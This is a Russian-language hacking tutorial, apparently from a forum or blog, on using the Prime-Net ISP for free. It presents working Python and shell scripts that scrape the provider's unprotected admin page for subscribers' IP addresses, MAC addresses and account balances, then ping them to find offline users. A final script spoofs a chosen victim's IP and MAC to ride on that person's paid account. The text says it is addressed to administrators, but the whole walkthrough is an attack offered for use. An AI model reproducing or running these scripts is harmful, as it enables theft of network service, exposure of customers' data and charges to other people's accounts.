Как поюзать Prime-NET нахаляву
Сия статья адресована в первую очередь администраторам Prime-Net.| $ python prime.py |
# This Python file uses the following encoding: utf-8 import os import string import httplib import urllib hostname="10.68.0.1" com="wget -O - http://"+hostname+"/admin" temp=os.popen(com) msg=temp.read() # читаем построчно ответ сервера mystr="### | IP адрес | MAC адрес | Оплата | SPEED | Баланс |\n" output = open("log.txt", 'w') output.write(mystr) output.close() cur_num=1 #в цикле выбераем список юзеров while string.find(msg,"<option value=\"{",cur_num) > 0: index=string.find(msg,"<option value=\"{",cur_num) index2=string.find(msg,"}\">",cur_num) index3=string.find(msg,"</option>",cur_num+1) user_id=str(msg[index+16:index2]) user_name=str(msg[index2+3:index3]) # теперь каждому юзеру генерим GET-запрос. com2="wget -O - http://10.68.0.1/admin/?guid=%7B"+user_id+"%7D" temp2=os.popen(com2) msg2=temp2.read() # ниже парсим ответ по каждому юзеру. index_IP=string.find(msg2,"IP адрес") index_IP2=string.find(msg2,"</td>",index_IP+45) user_IP=str(msg2[index_IP+45:index_IP2]) index_MAC=string.find(msg2,"MAC") user_MAC=str(msg2[index_MAC+35:index_MAC+47]) index_TD=string.find(msg2,"Трафик</td><td class=") index_TD2=string.find(msg2,"</td>",index_TD+43) user_TD=str(msg2[index_TD+43:index_TD2]) index_D=string.find(msg2,"Ограничение скорости на прием") index_D2=string.find(msg2,"</td>",index_D+87) user_D=str(msg2[index_D+87:index_D2]) index_B=string.find(msg2,"Баланс") index_B2=string.find(msg2,"</td>",index_B+43) user_B=str(msg2[index_B+43:index_B2]) # нас интересуют юзеры с авторизацией по MAC, и имеющие не нулевой баланс )). остальная инфа - для полноты картины if index_MAC >0 and index_D >0 and str(user_B[0:1])!="-": mystr="### |"+str(user_IP)+" | "+str(user_MAC)+" | "+str(user_TD)+" | "+str(user_D)+" | "+str(user_B)+" |\n" output = open("log.txt", 'a') # результат записываем в файл output.write(mystr) output.close() cur_num=index3 |
| Мы получили всю необходимую нам инфу. можно ее посмотреть: $ cat log.txt Дальше пингуем хосты чтобы выбрать из них тех, кто сейчас не в сети. для этого еще один скриптик: $ python pingprime.py |
# This Python file uses the following encoding: utf-8 import os import string # собственно говоря тут и пояснять нечего. пингуем Filehandle =open ("log.txt", 'r') count = 0 ae=str(Filehandle.readline()) print str(ae[0:len(ae)-1]) while len(ae)>0: ae=str(Filehandle.readline()) index=string.find(ae,"|",6) hostname=str(ae[5:index]) com="if (ping -c3 "+hostname+" > /dev/null 2> /dev/null) then echo 'ON';else echo 'OFF';fi" temp=os.popen(com) msg=temp.read() # и в вывод тех кто оффлайн 8))) if msg[0:len(msg)-1]=="OFF": print str(ae[0:len(ae)-1])+msg[0:len(msg)-1] |
| Получили в выводе на консоль список хостов и информации о них, которые можно смело юзать! ))) выбираем тот который нам понравился, и меняем свой IP и MAC на нужный. для упрощения еще один скриптик (надо выполнять от root) $ /bin/sh ipmac.sh 10.68.x.x xxxxxxxxxxxx 255.0.0.0 где 0.68.x.x - нужный нам IP, xxxxxxxxxxxx- MAC-адрес сам скрипт ipmac.sh приведен ниже |
#!/bin/sh ifconfig eth0 down ifconfig eth0 hw ether $2 ifconfig eth0 $1 netmask $3 up ifconfig eth0 route add default gw 10.68.0.1 |
|
maked by PolyakStar(c) |